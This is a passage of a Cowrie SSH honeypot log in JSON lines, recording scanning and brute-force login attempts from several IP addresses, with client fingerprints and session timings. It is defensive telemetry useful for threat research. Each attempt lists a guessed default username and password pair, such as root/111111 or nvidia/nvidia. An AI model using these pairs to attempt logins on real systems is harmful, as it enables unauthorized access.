sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:46.672290Z","src_ip":"43.163.119.215","session":"ec10f2ea987e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44060,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a55ed4e83c9","protocol":"ssh","message":"New connection: 103.75.199.4:44060 (159.203.135.109:22) [session: 0a55ed4e83c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:47.266086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:47.270840Z","src_ip":"103.75.199.4","session":"0a55ed4e83c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:47.365230Z","src_ip":"103.75.199.4","session":"0a55ed4e83c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:47.408923Z","src_ip":"43.163.119.215","session":"ec10f2ea987e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:47.639743Z","src_ip":"103.75.199.4","session":"0a55ed4e83c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:47.905339Z","src_ip":"43.163.119.215","session":"a52d235c6764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:48.656903Z","src_ip":"43.163.119.215","session":"ec10f2ea987e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:48.733597Z","src_ip":"103.75.199.4","session":"0a55ed4e83c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":38726,"dst_ip":"159.203.135.109","dst_port":22,"session":"c14e7d3762f0","protocol":"ssh","message":"New connection: 43.153.46.75:38726 (159.203.135.109:22) [session: c14e7d3762f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:51.812636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:51.816373Z","src_ip":"43.153.46.75","session":"c14e7d3762f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:51.884177Z","src_ip":"43.153.46.75","session":"c14e7d3762f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:52.187658Z","src_ip":"43.153.46.75","session":"c14e7d3762f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:53.259385Z","src_ip":"43.153.46.75","session":"c14e7d3762f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":33392,"dst_ip":"159.203.135.109","dst_port":22,"session":"255d6fa780a4","protocol":"ssh","message":"New connection: 162.243.147.237:33392 (159.203.135.109:22) [session: 255d6fa780a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:08.647500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:08.652236Z","src_ip":"162.243.147.237","session":"255d6fa780a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:08.721998Z","src_ip":"162.243.147.237","session":"255d6fa780a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hasan123","message":"login attempt [root/hasan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:09.034042Z","src_ip":"162.243.147.237","session":"255d6fa780a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57932,"dst_ip":"159.203.135.109","dst_port":22,"session":"09910ae5987a","protocol":"ssh","message":"New connection: 103.75.199.4:57932 (159.203.135.109:22) [session: 09910ae5987a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:09.154341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:09.158654Z","src_ip":"103.75.199.4","session":"09910ae5987a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:09.248742Z","src_ip":"103.75.199.4","session":"09910ae5987a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:09.527496Z","src_ip":"103.75.199.4","session":"09910ae5987a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:10.106636Z","src_ip":"162.243.147.237","session":"255d6fa780a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:10.621033Z","src_ip":"103.75.199.4","session":"09910ae5987a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":35230,"dst_ip":"159.203.135.109","dst_port":22,"session":"37069af14dd7","protocol":"ssh","message":"New connection: 202.29.225.206:35230 (159.203.135.109:22) [session: 37069af14dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:11.590980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:11.595803Z","src_ip":"202.29.225.206","session":"37069af14dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:11.845206Z","src_ip":"202.29.225.206","session":"37069af14dd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm!@","message":"login attempt [root/zxcvbnm!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:12.866868Z","src_ip":"202.29.225.206","session":"37069af14dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:14.120541Z","src_ip":"202.29.225.206","session":"37069af14dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":60478,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7a00fd36ccf","protocol":"ssh","message":"New connection: 67.102.183.113:60478 (10.17.0.5:22) [session: c7a00fd36ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:15.797729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:15.802269Z","src_ip":"67.102.183.113","session":"c7a00fd36ccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:15.875597Z","src_ip":"67.102.183.113","session":"c7a00fd36ccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:16.188780Z","src_ip":"67.102.183.113","session":"c7a00fd36ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:17.262844Z","src_ip":"67.102.183.113","session":"c7a00fd36ccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":39056,"dst_ip":"10.17.0.5","dst_port":22,"session":"06b45401f4d1","protocol":"ssh","message":"New connection: 194.59.206.2:39056 (10.17.0.5:22) [session: 06b45401f4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:24.106109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:24.110354Z","src_ip":"194.59.206.2","session":"06b45401f4d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:24.200646Z","src_ip":"194.59.206.2","session":"06b45401f4d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:24.298209Z","src_ip":"194.59.206.2","session":"06b45401f4d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":49452,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5e6ca1f3d51","protocol":"ssh","message":"New connection: 43.163.119.215:49452 (10.17.0.5:22) [session: a5e6ca1f3d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:26.151833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:26.156300Z","src_ip":"43.163.119.215","session":"a5e6ca1f3d51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:26.394460Z","src_ip":"43.163.119.215","session":"a5e6ca1f3d51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:27.113300Z","src_ip":"43.163.119.215","session":"a5e6ca1f3d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:28.354297Z","src_ip":"43.163.119.215","session":"a5e6ca1f3d51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50790,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eee9bc2adda","protocol":"ssh","message":"New connection: 103.75.199.4:50790 (159.203.135.109:22) [session: 3eee9bc2adda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:31.090952Z"}
